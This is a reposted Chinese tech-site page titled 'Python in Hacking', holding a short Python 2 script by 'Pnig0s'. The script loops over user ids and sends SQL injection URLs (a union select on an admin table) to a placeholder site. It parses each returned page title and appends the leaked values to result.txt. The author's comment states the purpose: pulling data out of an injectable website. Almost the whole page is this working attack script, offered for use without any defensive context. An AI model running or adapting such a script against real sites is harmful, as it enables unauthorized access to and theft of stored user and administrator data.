Python 官方文档:入门教程 => 点击学习
#!/usr/bin/python # -*- coding:utf-8 -*- import urllib2 import re import string from sgmllib import SGMLParser class g
- #!/usr/bin/python
- # -*- coding:utf-8 -*-
-
- import urllib2
- import re
- import string
- from sgmllib import SGMLParser
- class getTitle(SGMLParser):
- istitle = 0
- name = []
- def reset(self):
- SGMLParser.reset(self)
- def start_title(self,attrs):
- self.istitle = 1
- def end_title(self):
- self.istitle = 0
- def handle_data(self,data):
- if self.istitle:
- self.name.append(data)
- index=0
- for count in xrange(18680,18690):
- url = "Http://www.xxx.com/sqlin.PHP?id=1and1=1uNIOnselect*fromadmin**/whereuid="+str(count)+"--"
- req = urllib2.Request(url)
- fd = urllib2.urlopen(req)
- text = fd.read(2048)
- if not len(text):
- print "Nothing be getted..."
- else:
- title = getTitle()
- title.feed(text)
- mark=title.name[index].find('-')
- print title.name[index][:mark]+"has been write into result.txt"
- fi=file("result.txt","a")
- fi.writelines(title.name[index][:mark])
- fi.writelines("\n")
- index+=1
-
- fi.close()
Pnig0s:This program is used to get data from a WEBsite which have a SQLInjection and write them to files.very smiple.
--结束END--
本文标题: Python in Hacking[Ge
本文链接: https://lsjlt.com/news/187278.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-03-01
2024-03-01
2024-03-01
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0